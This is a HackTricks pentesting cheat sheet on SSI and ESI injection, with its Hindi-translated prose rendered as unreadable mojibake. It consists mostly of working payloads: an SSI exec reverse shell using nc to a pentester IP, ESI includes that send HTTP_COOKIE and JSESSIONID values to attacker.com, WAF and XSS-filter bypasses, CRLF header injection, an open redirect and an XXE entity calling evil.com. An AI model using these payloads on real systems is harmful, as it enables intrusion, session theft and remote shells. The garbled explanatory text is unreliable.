hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

17 KiB

Server Side Inclusion/Edge Side Inclusion Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Server Side Inclusion Basic Information

(Introduction taken from Apache docs)

SSI (Server Side Includes) рдРрд╕реЗ рдирд┐рд░реНрджреЗрд╢ рд╣реИрдВ рдЬреЛ HTML рдкреГрд╖реНрдареЛрдВ рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдкрд░ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рдкрд░реЛрд╕рд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИред рдпреЗ рдЖрдкрдХреЛ рдПрдХ рдореМрдЬреВрджрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рд╛рдордЧреНрд░реА рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдмрд┐рдирд╛ рдкреВрд░реЗ рдкреГрд╖реНрда рдХреЛ CGI рдкреНрд░реЛрдЧреНрд░рд╛рдо рдпрд╛ рдЕрдиреНрдп рдЧрддрд┐рд╢реАрд▓ рддрдХрдиреАрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд░реЛрд╕рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдПрдХ рдореМрдЬреВрджрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдПрдХ рдирд┐рд░реНрджреЗрд╢ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ:

<!--#echo var="DATE_LOCAL" -->

рдФрд░, рдЬрдм рдкреГрд╖реНрда рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЕрдВрд╢ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЗрд╕рдХреЗ рдорд╛рди рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдм рдХрд░рдирд╛ рд╣реИ, рдФрд░ рдХрдм рдЖрдкрдХреЗ рдкреГрд╖реНрда рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдХрд┐рд╕реА рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реИ, рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕ рдмрд╛рдд рдХрд╛ рдорд╛рдорд▓рд╛ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдкреГрд╖реНрда рдХрд╛ рдХрд┐рддрдирд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╕реНрдерд┐рд░ рд╣реИ, рдФрд░ рдХрд┐рддрдирд╛ рд╣рд░ рдмрд╛рд░ рдкреГрд╖реНрда рдкрд░реЛрд╕рдиреЗ рдкрд░ рдкреБрдирдГ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред SSI рдЫреЛрдЯреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЯреБрдХрдбрд╝реЗ рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдПрдХ рд╢рд╛рдирджрд╛рд░ рддрд░реАрдХрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╡рд░реНрддрдорд╛рди рд╕рдордп - рдЬреЛ рдКрдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдкрдХреЗ рдкреГрд╖реНрда рдХрд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рднрд╛рдЧ рдЙрд╕ рд╕рдордп рдЙрддреНрдкрдиреНрди рд╣реЛ рд░рд╣рд╛ рд╣реИ рдЬрдм рдЗрд╕реЗ рдкрд░реЛрд╕рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдорд╛рдзрд╛рди рдХреА рддрд▓рд╛рд╢ рдХрд░рдиреА рд╣реЛрдЧреАред

рдЖрдк SSI рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди .shtml, .shtm рдпрд╛ .stm рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдХреЗрд╡рд▓ рдпрд╣реА рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИред

рдПрдХ рд╕рд╛рдорд╛рдиреНрдп SSI рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рд╛рд░реВрдк рд╣реЛрддрд╛ рд╣реИ:

<!--#directive param="value" -->

рдЬрд╛рдВрдЪреЗрдВ

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

рдПрдХ рд╕рдорд╕реНрдпрд╛ рдЬрд╛рдирдХрд╛рд░реА рдпрд╛ рдЧрддрд┐рд╢реАрд▓ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдХреИрд╢ рдХрд░рдирд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдПрдХ рднрд╛рдЧ рдЕрдЧрд▓реЗ рдмрд╛рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╕рдордп рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, ESI рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЧрддрд┐рд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА рдЬреЛ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдЙрд╕реЗ рдХреИрд╢ рд╕рдВрд╕реНрдХрд░рдг рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреИрд╢ рд╕рд╛рдордЧреНрд░реА рдХреЗ рдЕрдВрджрд░ рдПрдХ ESI рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рд╡рд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрд░ рдордирдорд╛рдирд╛ рд╕рд╛рдордЧреНрд░реА рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЗрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдПред

ESI Detection

рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реЗрдбрд░ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ:

Surrogate-Control: content="ESI/1.0"

рдпрджрд┐ рдЖрдк рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╕рд░реНрд╡рд░ рд╢рд╛рдпрдж ESI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИред
рдПрдХ рдЕрдВрдзреЗ рд╢реЛрд╖рдг рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдЕрдиреБрд░реЛрдз рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдкрд╣реБрдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI рд╢реЛрд╖рдг

GoSecure рдиреЗ рд╡рд┐рднрд┐рдиреНрди ESI-рд╕рдХреНрд╖рдо рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдмрдирд╛рдИ рд╣реИ, рдЬреЛ рд╕рдорд░реНрдерд┐рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╣реИ:

  • Includes: <esi:includes> рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ
  • Vars: <esi:vars> рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред XSS рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА
  • Cookie: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреБрдХреАрдЬрд╝ ESI рдЗрдВрдЬрди рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИрдВ
  • Upstream Headers Required: рд╕рд░реЛрдЧреЗрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди ESI рдХрдердиреЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдЕрдкрд╕реНрдЯреНрд░реАрдо рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реЗрдбрд░ рдкреНрд░рджрд╛рди рди рдХрд░реЗ
  • Host Allowlist: рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, ESI рд╢рд╛рдорд┐рд▓ рдХреЗрд╡рд▓ рдЕрдиреБрдордд рд╕рд░реНрд╡рд░ рд╣реЛрд╕реНрдЯ рд╕реЗ рд╕рдВрднрд╡ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ SSRF, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреЗрд╡рд▓ рдЙрди рд╣реЛрд╕реНрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рдВрднрд╡ рд╣реИ
рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 Yes Yes Yes Yes No
Varnish Cache Yes No No Yes Yes
Fastly Yes No No No Yes
Akamai ESI Test Server (ETS) Yes Yes Yes No No
NodeJS esi Yes Yes Yes No No
NodeJS nodesi Yes No No No Optional

XSS

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд ESI рдирд┐рд░реНрджреЗрд╢ рд╕рд░реНрд╡рд░ рдХреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░реЗрдЧрд╛

<esi:include src=http://attacker.com/xss.html>

рдХреНрд▓рд╛рдЗрдВрдЯ XSS рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

рдХреБрдХреА рдЪреБрд░рд╛рдирд╛

  • рджреВрд░рд╕реНрде рдХреБрдХреА рдЪреБрд░рд╛рдирд╛
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • HTTP_ONLY рдХреБрдХреА рдХреЛ XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪреБрд░рд╛рдирд╛ рдФрд░ рдЗрд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд░рдирд╛:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

рдЗрд╕рдХреЛ "Local File Inclusion" рдХреЗ рд╕рд╛рде рднреНрд░рдорд┐рдд рди рдХрд░реЗрдВ:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ Location рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдЧрд╛

<!--esi $add_header('Location','http://attacker.com') -->

Add Header

  • рдордЬрдмреВрд░ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдВ
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ рдЬреЛрдбрд╝реЗрдВ (XSS рдХреЗ рд╕рд╛рде "Content-Type: text/json" рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Add header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдбрд┐рдмрдЧ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреЗрдЧрд╛:

<esi:debug/>

ESI + XSLT = XXE

xslt рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд▓рд┐рдП dca рдорд╛рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдХреЗ, eXtensible Stylesheet Language Transformations (XSLT) рдЖрдзрд╛рд░рд┐рдд ESI рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рд╕рдорд╛рд╡реЗрд╢ HTTP рд╕рд░реЛрдЧреЗрдЯ рдХреЛ XML рдФрд░ XSLT рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмрд╛рдж рд╡рд╛рд▓рд╛ рдкреВрд░реНрд╡ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рддрд╛ рд╣реИред рдРрд╕реА XML рдлрд╝рд╛рдЗрд▓реЗрдВ XML External Entity (XXE) рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдгреАрдп рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ SSRF рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╕реАрдорд┐рдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ ESI рдкрд╣рд▓реЗ рд╕реЗ рд╣реА SSRF рд╡реЗрдХреНрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд Xalan рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЗрдВ рд╕рдорд░реНрдерди рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рдХрд╛рд░рдг, рдмрд╛рд╣рд░реА DTDs рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдирд┐рдХрд╛рд╕реА рдХреЛ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИред

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT рдлрд╝рд╛рдЗрд▓:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT page:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

рд╕рдВрджрд░реНрдн

рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд▓рд┐рд╕реНрдЯ

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}